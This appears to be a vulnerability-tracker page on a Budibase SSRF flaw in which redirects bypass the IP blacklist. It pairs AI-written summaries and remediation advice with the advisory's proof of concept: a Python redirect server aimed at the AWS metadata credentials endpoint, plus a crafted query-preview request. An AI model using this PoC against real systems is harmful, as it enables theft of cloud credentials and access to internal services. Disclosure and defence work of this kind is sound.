Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate as Builder
-
DeliveryCreate malicious REST datasource
-
ExploitConfigure redirect server
-
InstallQuery datasource
-
C2Bypass blacklist via redirect
-
ExecuteAccess internal services
-
ImpactExfiltrate cloud credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Successful exploitation requires authenticated access with Builder role permissions in Budibase to create and query REST datasources. The Budibase instance must be deployed where internal services or cloud metadata endpoints are network-accessible from the server. Default Budibase configurations are vulnerable. Exploitation is limited to users without Builder access and to Budibase instances with network isolation preventing access to sensitive internal endpoints. |
| Impact | The CVSS 3.1 score of 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) accurately reflects the risk. Network vector with low complexity and low privileges required means any authenticated Builder can exploit this remotely without user interaction. The scope change and high confidentiality impact align with accessing cloud metadata and internal services outside the application's intended scope. No EPSS score or KEV status is provided, suggesting this is not widely exploited. The detailed proof-of-concept in the advisory increases exploitation likelihood. This represents a significant risk for Budibase deployments in cloud environments where metadata services contain sensitive credentials. |
| Exploit ScenarioDerived | An attacker with Builder access creates a REST datasource pointing to their controlled server. When querying this datasource, their server responds with an HTTP redirect to internal services like AWS metadata (169.254.169.254) or internal databases. Budibase follows the redirect without re-checking the blacklist, returning sensitive internal data to the attacker. A working proof-of-concept is provided in the advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 15, 2026
Budibase's REST datasource integration before version 3.38.1 bypasses IP blacklist security controls through HTTP redirect following. Authenticated Builder-level users can exploit this to access cloud metadata services and internal databases by redirecting requests through attacker-controlled servers, potentially stealing AWS/GCP/Azure credentials. This vulnerability class was previously fixed in automation steps but the REST integration was overlooked, creating an inconsistent security posture.
RemediationAI
Upgrade to Budibase version 3.38.1 or later, which properly validates redirect targets against the IP blacklist. The fix implements redirect: manual handling similar to the existing fetchWithBlacklist wrapper used in automation steps. As a temporary workaround if immediate patching is not possible, restrict Builder role access to trusted users only, monitor REST datasource configurations for suspicious external URLs, and consider implementing network-level controls to block outbound requests from Budibase servers to cloud metadata endpoints (169.254.169.254). Note that workarounds only reduce risk and do not eliminate the vulnerability.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in npm, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Budibase is a low-code platform (npm package @budibase/server) that allows users to create REST datasources for external API integration. The vulnerability exists in the _req() method within packages/server/src/integrations/rest.ts at lines 754-778. The code validates URLs against an IP blacklist to prevent SSRF attacks, but uses undici's fetch() with default redirect: follow behavior. This follows HTTP 301/302/307 redirects without re-validating the redirect target against the blacklist. The root cause is CWE-918 (Server-Side Request Forgery), where user-controlled input influences server-side requests without proper validation of redirect chains.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
The REST datasource integration follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. The same vulnerability class was already patched in automation steps (fetchWithBlacklist in packages/server/src/automations/steps/utils.ts) but the REST integration was missed.
Details
Vulnerable file: packages/server/src/integrations/rest.ts, lines 754-778
The _req() method checks the request URL against the IP blacklist at line 754, then calls fetch(url, input) at line 778. No redirect: "manual" option is set, so undici's fetch defaults to redirect: "follow", automatically following HTTP 301/302/307 redirects without re-validating the redirect target against the blacklist.
// Line 754 - blacklist check on original URL only
if (await blacklist.isBlacklisted(url)) {
throw new Error("URL is blocked or could not be resolved safely.")
}
// Line 778 - fetch follows redirects, NO re-check on redirect target
response = await fetch(url, input)The automation steps already implement the correct fix in packages/server/src/automations/steps/utils.ts (lines 100-136) via fetchWithBlacklist(), which sets redirect: "manual" and re-checks the blacklist on every redirect hop. The REST integration does not use this safe wrapper.
Relevant prior fix commits on the automation side:
6cfa3bcca3- "fix(server): enforce outbound blacklist in webhook automation steps"e7d47625be- "Fix automation webhook blacklist redirect bypass"
PoC
Step 1 - Set up a redirect server (attacker-controlled):
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/')
self.end_headers()
HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()Step 2 - As a Builder, create a REST datasource pointing to the attacker's server.
Step 3 - Preview a query:
POST /api/queries/preview HTTP/1.1
Host: <budibase-instance>
Content-Type: application/json
Cookie: <builder-session>
x-budibase-app-id: <app-id>
{
"datasourceId": "<rest-datasource-id>",
"queryVerb": "read",
"fields": {
"path": "http://<attacker-ip>:8080/",
"queryString": "",
"headers": {},
"bodyType": "none",
"requestBody": ""
},
"parameters": [],
"transformer": "return data",
"name": "ssrf-test",
"schema": {}
}Step 4 - The blacklist check passes (attacker IP is public), undici follows the 302 redirect to the internal target, and the response is returned:
{
"rows": [{
"couchdb": "Welcome",
"version": "3.3.3",
"uuid": "a84d3353128485a22973a759df2387bc"
}]
}Tested and confirmed on Budibase v3.34.6 running locally with default blacklist active.
Impact
- Cloud credential theft: On AWS/GCP/Azure instances, attacker accesses
169.254.169.254to steal IAM credentials or service account tokens. - Internal service access: CouchDB (
:4005), Redis (:6379), MinIO (:4004), and other internal services become accessible - Bypasses explicit security control: The IP blacklist exists specifically to prevent this, and works correctly for direct access - only the redirect path is unprotected.
- Already-known vulnerability class: This was previously identified and fixed in automation steps (commits
6cfa3bcca3,e7d47625be) but the REST datasource integration was not patched.
Executive ViewAI
Budibase REST datasource integration (versions before 3.38.1) contains an IP blacklist bypass vulnerability that allows authenticated Builder-level users to redirect requests to internal cloud metadata services and databases, potentially exposing AWS/GCP/Azure credentials. Organizations using Budibase for data integration face credential theft and unauthorized access to cloud infrastructure if Builder accounts are compromised or if insider threats exist.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict Builder role to minimal necessary personnel and enforce MFA on all Builder accounts; (2) Disable REST datasource integration if not actively required; (3) Implement network firewall rules to block outbound connections from Budibase to 169.254.169.254, 169.254.169.250, 169.254.169.251, and metadata.google.internal; (4) Enable request logging and alerting for any HTTP 3xx redirects in REST datasource queries; (5) Rotate all AWS/GCP/Azure credentials that may be accessible from Budibase instances.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2026-32603
GHSA-fgqv-jh4g-pvg2
NVD
CVE.org
EPSS
Exploit-DB